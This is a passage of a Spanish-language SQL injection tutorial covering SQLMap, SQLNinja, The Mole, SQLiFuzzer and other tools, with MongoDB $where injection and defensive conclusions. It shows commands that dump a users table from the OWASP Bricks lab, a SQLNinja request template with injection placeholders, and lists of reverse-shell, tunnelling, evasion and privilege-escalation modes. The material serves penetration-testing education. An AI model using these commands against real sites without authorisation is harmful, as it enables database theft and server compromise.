  • 30. 8.1.3. Recuperación de tablas Una vez que se conocen los nombres de los esquemas de bases de datos se puede extraer la información de tablas con la opción --tables e indicando el nombre de base de datos con la opción -D $ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --tables -D bricks 8.1.4. Obtener columnas de una tabla $ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --columns -D bricks -T users Figura 36: SQLMap recupera las versión de MySQL, usuario y esquemas de base de datos. Figura 37: Recuperación de tablas en una base de datos.
  • 31. 8.1.5. Extracción de los datos de la tabla users $ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --dump -D bricks -T users SQL recupera y almacena los datos en un fichero csv. Además determina que la columna password puede contener contraseñas y permite automatizar su recuperación a través de diccionario. Figura 38: SQLMap recupera las columas de la tabla users. Figura 39: Obtención de los datos de la tabla users.
  • 32. 8.2. SQLNinja SqlNinja es una herramienta que permite explotar vulnerabilidades inyección SQL en aplicaciones web que usan Microsoft SQL Server como back-end. Incluye características como • Fingerprinting. • Extracción de datos. • Integración con Metasploit20 para interfaz gráfica de acceso al servidor de BD. • Envío de ejecutables a través de peticiones HTTP. • Shellcode21 remoto o bindshell directo o inverso por puertos TCP/UDP o a través de túnel DNS o ICMP. • Romper contraseñas por fuerza bruta con diccionarios. • Escalada de privilegios con: ◦ Grupo sysadmin si se rompe la contraseña. ◦ churrasco.exe22 para escalada de privilegios en Windows 2003 Server. ◦ Vulnerabilidad CVE-2010-0232 en sqlservr.exe. • Técnicas de evasión para confundir algunos IDS/IPS/WAF. 8.2.1. Instalación SqlNinja está escrito en Perl y puede ser instalado en distribuciones de GNU/Linux, Mac o Windows. Además requiere de los módulos de NetPacket, Net-Pcap, Net-DNS, Net-RawIP, IO- Socket-SSL y DBI para perl. A continuación se describen los pasos de instalación en Debian 7 Wheezy. 1. Instalar perl y paquete NetPacket $ sudo apt-get install perl libnetpacket-perl libnet-pcap-perl 2. Descargar la versión establa de SQLNinja $ wget http://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz/download -O sqlninja-0.2.6-r1.tgz $ tar zxvf sqlninja-0.2.6-r1.tgz $ cd sqlninja-0.2.6-r1 20 Metasploit: http://www.metasploit.com 21 Shellcode: http://en.wikipedia.org/wiki/Shellcode 22 churrasco.exe, MS Windows 2k3 Token Kidnapping Local Exploit: http://www.exploit-db.com/exploits/6705 Figura 40: Recuperación de hash de contraseñas con diccionario.
  • 33. 8.2.2. Configuración Para poder realizar ataques es necesario configurar el fichero sqlninja.conf con datos del objetivo contra el que realizar las pruebas de pentesting. SQLNinja incluye un fichero de configuración de ejemplo en la que se debe configurar el sitio web de la víctima entre los parámetros de httpprequest: $ cp sqlninja.conf.example sqlninja.conf $ vim sqlninja.conf ## GET ## --httprequest_start-- GET http://www.target.sqlserver.com/products/page.asp?n=100';__SQL2INJECT__&other_param=blah HTTP/1.1 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close --httprequest_end-- ## POST ## --httprequest_start-- POST https://www.target.sqlserver.com/contactform.asp HTTP/1.0 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx Connection: close name=12;__SQL2INJECT__&address1=blabla&email=blabla@gmail.com&enquiry %20type=bla&message=blablablablablabla --httprequest_end-- ## Cookies ## --httprequest_start-- GET http://www.target.sqlserver.com/page.asp?n=100 HTTP/1.0 Host: www.target.sqlserver.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__ Connection: close --httprequest_end-- Se debe incluir en la variable __SQL2INJECT__ con el parámetros que se desea explotar, bien en la url en parámetro GET, en parámetro POST o en la Cookie de sesión. 8.2.3. Ejecución Se puede ejecutar en modo pruebas para comprobar si el sitio es vulnerable con el siguiente comando: $ ./sqlninja -m test
  • 34. Otras opciones posibles para el flag -m son: • fingerprint • bruteforce • escalation • dirshell/revshell/dnstunnel/icmptunnel • getdata 8.3. The Mole The Mole23 es una herramienta open source bajo licencia GPLv3 de línea de comandos y desarrollada en Python 3. Soporta los gestores de bases de datos MySQL, SQL Server, PostgreSQL y Oracle. Incluye un potente shell con comandos propios de la herramientas para extraer información del objetivo. Al proporcionar una URL vulnerable y una cadena válida es capaz de detectar la inyección y explotarla de manera automática, ya sea mediante el uso de técnicas con la cláusula UNION o una consulta basada en condicionales. Además soporta inyección a través de parámetros en GET , POST o Cookies y ofuscación para evasión de firmas en IDS/IPS. Se puede descargar de la página oficial el código fuente, compilado para Windows o en paquete .deb. Además está disponible en los repositorios de distribuciones de GNU/Linux basadas en Debian. 8.3.1. Instalación y ejecución Para la instalación en un sistema Debian se puede realizar desde el repositorio. $ apt-get install themole La instalación instalará los siguientes paquetes adicionales. libmpdec2 libpython3.4-minimal libpython3.4-stdlib python3-chardet python3-lxml python3-pkg-resources python3.4 python3.4-minimal 8.3.2. Extracción de datos Para ejecutar The Mole contra una aplicación web se deben indicar la url completa con los parámetros explotables y una cadena de usar en el ataque. 1. Ejecutar en terminal el siguiente comando: $ themole -u 'http://localhost/bricks/content-1/index.php?id=0' -n 'admin' NOTA: En Windows el ejecutable es mole.exe. 23 The Mole: http://themole.sourceforge.net Figura 41: Ejecución SQLNinja en modo test.
  • 35. Una vez ejecutado se inicia un shell propio de la aplicación desde donde se puede obtener información de la base de datos, extraer los datos o realizar consultas más personalizadas. 2. Obtener el nombre de los esquemas de base de datos. Ejecutar schemas en el shell de The Mole. 3. Información de la base de datos. Ejecutar dbinfo en el shell. 4. Obtener el nombre de las tablas Ejecutar tables {nombre esquema} en el shell. Figura 42: The Mole incluye un shell con comandos para automatizar la inyección. Figura 43: Obtención de los esquemas de BD con The Mole. Figura 44: Información de la base de datos con The Mole.
  • 36. 5. Obtener las columnas Ejecutar columns {nombre esquema} {nombre tabla} 6. Extracción de datos de una tabla Ejecutar query {nombre esquema} {tabla} {columna1,[columna2,[...]]} 7. Búsqueda de información adicional en el catálogo. Figura 45: Obtención de nombres de tablas con The Mole Figura 46: Obtener las columnas de una tabla con The Mole Figura 47: Extracción de datos de una tabla con The Mole
  • 37. 8. La sentencia query soporta condicionales y límite de filas. 8.4. Otras herramientas 8.4.1. Havij Havij24 es una herramienta de pago disponible para Windows con interfaz de usuario y soporte para Microsoft SQL Server y Mysql. Además de las pruebas automatizadas de inyección SQL incluye almacenamiento de datos formato cvs, uso de proxy, ofuscación del código y escaneo automático de parámetros entre otros. 24 Havij: http://www.itsecteam.com/products/havij-advanced-sql-injection Figura 48: Búsqueda de tablas en el catálogo de datos. Figura 49: Sentencia query con condición y límite de filas.
  • 38. 8.4.2. Pangolin Pangolin25 es una herramienta con interfaz de usuario y soporte para bases de datos Access, DB2, Informix, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, Sqlite3 y Sybase. Algunas de sus características son soporte SSL, uso de proxy, personalización de cabeceras HTTP (user-agent, cookies), análisis automático de palabras clave, gestión de puntos de inyección. Pangolin es una herramienta de pago disponible para Windows. Se puede descargar la versión de pruebas en la página oficial. 8.5. SQLiFuzzer SQLifuzzer26 es una herramienta utilizada para identificar vulnerabilidades de inyección SQL escrita en shell script. Permite realizar de forma automática inyección basada en errores, parcial y totalmente ciega (basada en tiempo). 25 Pangilon SQL Injection Tool: http://nosec.org/en/productservice/pangolin 26 SQLiFuzzer: http://code.google.com/p/sqlifuzzer Figura 50: Interfaz de Havij.
  • 39. Incluye soporte para Microsoft SQL Server, MySQL y Oracle. Además soporta ofuscación , pruebas automatizadas con cláusulas UNION y Order By, condicionales para extraer información del gestor de base de datos, pruebas basadas en tiempos de respuesta (inyección totalmente ciega) y pruebas basadas en respuestas booleanas de inyección XPATH. SQLiFuzzer se ejecuta en sistemas GNU/Linux. A continuación se muestran los pasos de ejecución contra el entorno de pruebas de Bricks: 1. Descargar herramienta $ wget http://code.google.com/p/sqlifuzzer/downloads/detail?name=sqlifuzzer-0.6.tgz&can=2&q= -O sqlifuzzer-0.6.tgz $ tar zxvf sqlifuzzer-0.6.tgz $ cd sqlifuzzer-0.6 2. Ejecución ./sqlifuzzer-0.5.sh 3. Pruebas contra localhost $ ./sqlifuzzer-0.5.sh -T http://localhost/bricks/content-1/index.php?id=0 -q 9. Inyección SQL en bases de datos NoSQL También es posible realizar inyección SQL en bases de datos NoSQL o Not only SQL. Al requerir menos restricciones relacionales y comprobaciones de coherencia a menudo ofrecen ventajas de rendimiento y escalado. Sin embargo, son vulnerables a ataques de inyección, incluso si no están usando la sintaxis SQL tradicional. Debido a que estos ataques de inyección NoSQL se pueden ejecutar dentro de un lenguaje determinado, más que en el lenguaje declarativo SQL, los impactos son mayores que la inyección de SQL tradicional. Figura 51: Ayuda de SQLiFuzzer.
  • 40. 9.1. Inyección SQL en MongoDB La API de la base de datos MongoDB27 recupera la información a través de llamadas binarias de JSON28 llamadas Binary JSON o BJSON. Las expresiones de JSON y JavaScript decodificadas por la API permiten realizar consulta alternativas en varios parámetros, así la llamada a la API más utilizada que permite la entrada arbitraria JavaScript es el operador $where. Por ejemplo: db.myCollection.find( { $where: "this.credits == this.debits" } ); Si un atacante pudiese manipular los datos enviados al operador $where, éste podría incluir código JavaScript arbitrario para ser evaluado como parte de la consulta de MongoDB. En la página de la fundación OWASP29 , proyecto de código abierto para combatir las causas que hacen el software inseguro, se puede obtener ejemplos de como se ven afectadas estas bases de datos NoSQL ante la inyección de código Javascript. 10. Conclusiones Existen diferentes técnicas de inyección SQL. El ataque más clásico es el basado en errores utilizando la fuerza bruta a través de los resultados obtenidos en el mismo canal. Sin embargo, cabe recordar que se pueden obtener resultados a través de otros canales. Es importante realizar una implementación correcta de las aplicaciones que acceden a la base de datos utilizando buenas prácticas de programación y evitando el uso de clases o métodos obsoletos para el acceso a la base de datos. Además, los usuarios de acceso a la base de datos deben tener limitado los privilegios así como el acceso al catálogo del SGBD. Sistemas IDS/IPS como Snort o Suricata basados en firmas permiten detectar ataques de inyección. Sin embargo, hay que tener en cuenta que un ataque puede ser ofuscado con diversas técnicas. Además, un sistema mal configurado puede ser susceptible de que los ataques pasen desapercibidos a través de canales cifrados o compresión de datos si la aplicación atacada lo permite. Por último, existen herramientas para la detección y extracción de inyección SQL que facilitan todo el proceso de ataque o permiten realizar una auditoría sobre un sitio web o servidor de bases de datos. 11. Referencias • Aplicaciones para testing de Inyección SQL: http://blog.taddong.com/2011/10/hacking- vulnerable-web-applications.html • OWASP Bricks: http://sechow.com/bricks/index.html • SQL Injection tutorial: http://zerofreak.blogspot.com.es/2012/03/tutorial-by-zer0freak- difficulty-easy.html 27 MongoDB: http://www.mongodb.org 28 JSON: www.json.org 29 OWASP Testing NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection
  • 41. • Inyección SQL en PHP: http://dasunhegoda.com/php-security-fail-vulnerable/466/ • Ejemplos anti inyección de SQL para PHP: https://github.com/indieteq/PHP-MySQL-PDO- Database-Class • Conferencia de Inyección SQL en el Centro de novas tecnoloxías de Galicia por Artur L. Pinto Monteiro : http://www.nextvision.com/uploads/com_noticias/Exitoso_Seminario_de_NextVision_sobre _SQL_Injection_en_el_Centro_de_Nuevas_Tecnologas_de_Galicia___1.pdf • Mejores herramientas de SQLi: http://www.hackingarticles.in/best-of-hacking/best-sql- injection-tools • SQLMap: http://sqlmap.org • Tutorial para SQLMap: http://www.binarytides.com/sqlmap-hacking-tutorial • SQLNinja: http://sqlninja.sourceforge.net • Tutorial SQLNinja: http://www.elithecomputerguy.com/2013/01/23/using-sql-ninja-in- metasploit-for-basic-sql-injection-attacks • The Mole: http://themole.sourceforge.net • SQLifuzzer: http://code.google.com/p/sqlifuzzer • NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection